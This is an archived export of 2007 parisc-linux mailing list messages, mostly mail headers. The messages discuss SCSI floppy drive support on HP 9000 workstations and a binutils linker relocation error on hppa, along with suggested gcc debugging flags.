X-Trace: ger.gmane.org 1416624267 22547 80.91.229.3 (22 Nov 2014 02:44:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jan 2007 09:43:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 24 Jan 2007 10:43:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 98A967D96D;
	Wed, 24 Jan 2007 02:42:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16264-06; Wed, 24 Jan 2007 02:42:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6BB27D917;
	Wed, 24 Jan 2007 02:42:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B9767D96D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Jan 2007 13:52:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12292-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Jan 2007 13:51:59 -0700 (MST)
Original-Received: from SRCMAIL.scires.com (mail.scires.com [64.16.131.4])
	by free.linux.hp.com (Postfix) with ESMTP id 865B67D8F4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Jan 2007 13:51:57 -0700 (MST)
Original-Received: from [127.0.0.1] (523.chs.spawar.navy.mil [150.125.116.2])
	by SRCMAIL.scires.com with ESMTP; Tue, 23 Jan 2007 15:51:56 -0500
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Wed, 24 Jan 2007 02:42:53 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ERiOfbQRYW0+VLuGbmZprbV0amthcxuX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24258

All:

I posted this to debian-hppa, but I thought I'd pass this along to
parisc-linux in case anyone isn't a member of both lists. If you are,
I apologize in advance for cluttering you inbox...

Could someone provide some details about why the TEAC floppy disk drives
(scsi) in the 9000 series workstations are not supported in the parisc
port?  Is it due to a lack of documentation, missing sd/53c700 support for
floppy drives, or lack of interest in floppy devices in general (or some
combination of the three)?  I realize floppy drives are antiquated and
scsi floppy drives are an enigma, but the application I'd like to run on
these machines requires floppy support, which worked fine under HP-UX. 
In an attempt investigate further, I installed MKLinux on a 715, and the
scsi floppy drive was supported through some combination of the MACH
kernel and it's hosted Linux kernel.  I've looked through the MKLinux
source code, and it appears that the MACH scsi driver had some support
for flexible disk drives (which I assume is the floppy drive), but I'm
uncertain if this is the only missing piece to the puzzle.  If anyone
has any additional info/insight, I'd really appreciated it.

Thanks,
James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Floppy disk support for 9000 series (715, 755,
	etc.) workstations.
Date: Wed, 24 Jan 2007 09:28:10 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <20070124162810.GA31075__41211.9019580588$1416624268$gmane$org@colo.lackof.org>
References: <45B67554.6010208@scires.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624268 22550 80.91.229.3 (22 Nov 2014 02:44:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James K. Love" <jlove@scires.com>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jan 2007 16:28:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 24 Jan 2007 17:28:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF46F7D982;
	Wed, 24 Jan 2007 09:28:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20291-07; Wed, 24 Jan 2007 09:28:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0AEEE7D98F;
	Wed, 24 Jan 2007 09:28:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF9E97D415
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Jan 2007 09:28:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20291-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Jan 2007 09:28:19 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 58CE17D411
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Jan 2007 09:28:19 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C34D4298058;
	Wed, 24 Jan 2007 09:28:18 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00950-08; Wed, 24 Jan 2007 09:28:10 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1C5B8298053; Wed, 24 Jan 2007 09:28:10 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <45B67554.6010208@scires.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: V/jeKvIcMydyf4igZWpllnhraGRhZlrd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24259

On Tue, Jan 23, 2007 at 03:51:32PM -0500, James K. Love wrote:
> All:
> 
> I posted this to debian-hppa, but I thought I'd pass this along to
> parisc-linux in case anyone isn't a member of both lists. If you are,
> I apologize in advance for cluttering you inbox...
> 
> Could someone provide some details about why the TEAC floppy disk drives
> (scsi) in the 9000 series workstations are not supported in the parisc
> port?

At one point I thought they did work.

>   Is it due to a lack of documentation, missing sd/53c700 support for
> floppy drives, or lack of interest in floppy devices in general (or some
> combination of the three)?

THere is clearly a lack of interest in the non-scsi floppy.
I've handed out some SCSI floppy drives in the past.

>   I realize floppy drives are antiquated and
> scsi floppy drives are an enigma, but the application I'd like to run on
> these machines requires floppy support, which worked fine under HP-UX. 
> In an attempt investigate further, I installed MKLinux on a 715, and the
> scsi floppy drive was supported through some combination of the MACH
> kernel and it's hosted Linux kernel.  I've looked through the MKLinux
> source code, and it appears that the MACH scsi driver had some support
> for flexible disk drives (which I assume is the floppy drive), but I'm
> uncertain if this is the only missing piece to the puzzle.  If anyone
> has any additional info/insight, I'd really appreciated it.

If you can figure out what's missing between linux and MKlinux there
is a good change it could get added. The closer you get to providing
a patch, the more likely it will get included.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils-2.17.50.0.10+ hates hppa ?
Date: Sat, 27 Jan 2007 05:09:49 -0500
Organization: wh0rd.org
Lines: 67
Approved: news@gmane.org
Message-ID: <200701270509.50109.vapier__42379.2979251177$1416624268$gmane$org@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1831314481=="
X-Trace: ger.gmane.org 1416624268 22555 80.91.229.3 (22 Nov 2014 02:44:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jan 2007 10:09:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 27 Jan 2007 11:09:30 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7443A7D9D0;
	Sat, 27 Jan 2007 03:09:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15885-05; Sat, 27 Jan 2007 03:09:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0AAA17D9C2;
	Sat, 27 Jan 2007 03:09:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0563B7D904
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 03:09:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15811-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 03:09:17 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 5BBD97D89B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 03:09:17 -0700 (MST)
Original-Received: from home.wh0rd.org (pool-151-203-5-76.bos.east.verizon.net
	[151.203.5.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id E478764CBC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 10:09:15 +0000 (UTC)
Original-Received: (qmail 16838 invoked from network); 27 Jan 2007 05:08:31 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 27 Jan 2007 05:08:31 -0500
User-Agent: KMail/1.9.5
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vUDTCIAjbHIzSq3NNjQ0wD0qJihyalCi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24260

--===============1831314481==
Content-Type: multipart/signed; boundary="nextPart4153313.UVMlQnOUaV";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart4153313.UVMlQnOUaV
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

after upgrading from 2.17.50.0.9 to 2.17.50.0.10 (.11 too), ld seems unable=
 to=20
do anything remotely basic ... is there something basic i'm missing here ? =
 i=20
verified that it isnt caused by the Gentoo patchsets as a vanilla build=20
exhibits the issue as well

$ cat test.c
int main() { fopen(); }
$ gcc test.c
/usr/hppa2.0-unknown-linux-gnu/binutils-bin/2.17.50.0.10/ld: /tmp/ccpL4Tbn.=
o(.text+0x10):=20
cannot handle R_PARISC_PCREL17F for fopen@@GLIBC_2.2
/usr/hppa2.0-unknown-linux-gnu/binutils-bin/2.17.50.0.10/ld: final link=20
failed: Bad value
collect2: ld returned 1 exit status
$ gcc --version
gcc (GCC) 4.1.1 (Gentoo 4.1.1-r3)
=2Dmike

--nextPart4153313.UVMlQnOUaV
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.1 (GNU/Linux)

iQIVAwUARbsk7UFjO5/oN/WBAQIktA//YACyJkFnYlt0teuujM58D7rcYrr2yh82
fM1l44NCdgwzGea/gn8K79/FaYfZqBHq1+kNTbRgbEzs/v9kWACBet6PApa7KooB
7crzZNMS2vp/hPoigmktFj5x1CVzfYN1PbRcarnAH+I9kzoPpmj/H8+NQXIIevou
qaBOpSZhQRtUlxdRtIXKsP28HAkneuoghhZztyhdxRXsamsWjPpyocfwGmCrFx9G
VZqdh688bE+B2Bz/9zVWH/MNU/IPWMnKZAp+oZdztcCzFFO49QK5BWdRfOjqnOB5
HZp1Ki5j42noSHnq+mwekEWj5VI3ssPwWsAtW0XFaKl9VkFSi6Ixoy7nlvEsp4JX
NLcxq/TDkyYoqlCbjlTXkwHoR/lWwR9OHhMLPeg+Bb7q+fX1rsXRUc+HzaLgsW9o
u+SiZBFj9kYwH2JO8KUSuBD2TydQcuhVKpYzKAVYCxP1WaujWbjyHACAgalEvGAp
e4OL2VybPQA3uU2Un2N9LOsk9+8dIjut55WOfTAn9t71X1U/D1QYZeRh6iWEWOJX
ap9AhDOshrQ9SINACSq80WfRgavD3gf+auSNn8w2XJhddjBzpQ/0gCWQmtcnGvWK
0Bw7OGA/AJ8OiIBL6KxeaXrSrMywA+6VjD4Bya15ShBbEIPsWlQmQmx1cNjSgQ+U
3HtYqMFJ8SI=
=cOgw
-----END PGP SIGNATURE-----

--nextPart4153313.UVMlQnOUaV--

--===============1831314481==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1831314481==--



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils-2.17.50.0.10+ hates hppa ?
Date: Sat, 27 Jan 2007 11:13:48 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <200701271613.l0RGDmXX008512__25184.3144222677$1416624268$gmane$org@hiauly1.hia.nrc.ca>
References: <200701270509.50109.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624268 22557 80.91.229.3 (22 Nov 2014 02:44:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jan 2007 16:14:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 27 Jan 2007 17:14:45 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3933A7DA04;
	Sat, 27 Jan 2007 09:14:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19532-01; Sat, 27 Jan 2007 09:14:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EDF27D9F9;
	Sat, 27 Jan 2007 09:14:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E0E477D9F2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 09:14:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19341-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 09:14:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3ADEE7D9E8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 09:14:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l0RGDnO0008515;
	Sat, 27 Jan 2007 11:13:49 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l0RGDmXX008512;
	Sat, 27 Jan 2007 11:13:48 -0500 (EST)
In-Reply-To: <200701270509.50109.vapier@gentoo.org> from "Mike Frysinger" at
	Jan 27, 2007 05:09:49 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QkiMcrVJbGI1V6aDYmRnK5JncmZ1ZpxG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24261

> after upgrading from 2.17.50.0.9 to 2.17.50.0.10 (.11 too), ld seems unable=
>  to=20
> do anything remotely basic ... is there something basic i'm missing here ? =
>  i=20
> verified that it isnt caused by the Gentoo patchsets as a vanilla build=20
> exhibits the issue as well

There's been very few hppa changes to binutils in the past several
months.  I can't duplicate the problem, so maybe there's something
wrong with your libc setup.

> $ cat test.c
> int main() { fopen(); }
> $ gcc test.c
> /usr/hppa2.0-unknown-linux-gnu/binutils-bin/2.17.50.0.10/ld: /tmp/ccpL4Tbn.=
> o(.text+0x10):=20
> cannot handle R_PARISC_PCREL17F for fopen@@GLIBC_2.2
> /usr/hppa2.0-unknown-linux-gnu/binutils-bin/2.17.50.0.10/ld: final link=20
> failed: Bad value
> collect2: ld returned 1 exit status

You might try adding "-Wl,-v -Wl,--trace -Wl,--trace-symbol=fopen" to the
above gcc command and see what it shows.  This should show the command
used to link test and details of the lookup for the the symbol fopen.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils-2.17.50.0.10+ hates hppa ?
Date: Sat, 27 Jan 2007 11:20:19 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200701271620.l0RGKKuW008618__6970.28567451543$1416624269$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440701270805v4ee1f56an4cc578a8f8c1c3cd@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624269 22559 80.91.229.3 (22 Nov 2014 02:44:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jan 2007 16:20:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 27 Jan 2007 17:20:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 921027DA0A;
	Sat, 27 Jan 2007 09:20:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19532-07; Sat, 27 Jan 2007 09:20:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D78A7DA0C;
	Sat, 27 Jan 2007 09:20:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E8B77DA09
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 09:20:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19478-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 09:20:42 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id ECE347D9F9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 09:20:41 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l0RGKKvn008620;
	Sat, 27 Jan 2007 11:20:20 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l0RGKKuW008618;
	Sat, 27 Jan 2007 11:20:20 -0500 (EST)
In-Reply-To: <119aab440701270805v4ee1f56an4cc578a8f8c1c3cd@mail.gmail.com>
	from "Carlos O'Donell" at Jan 27, 2007 11:05:13 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
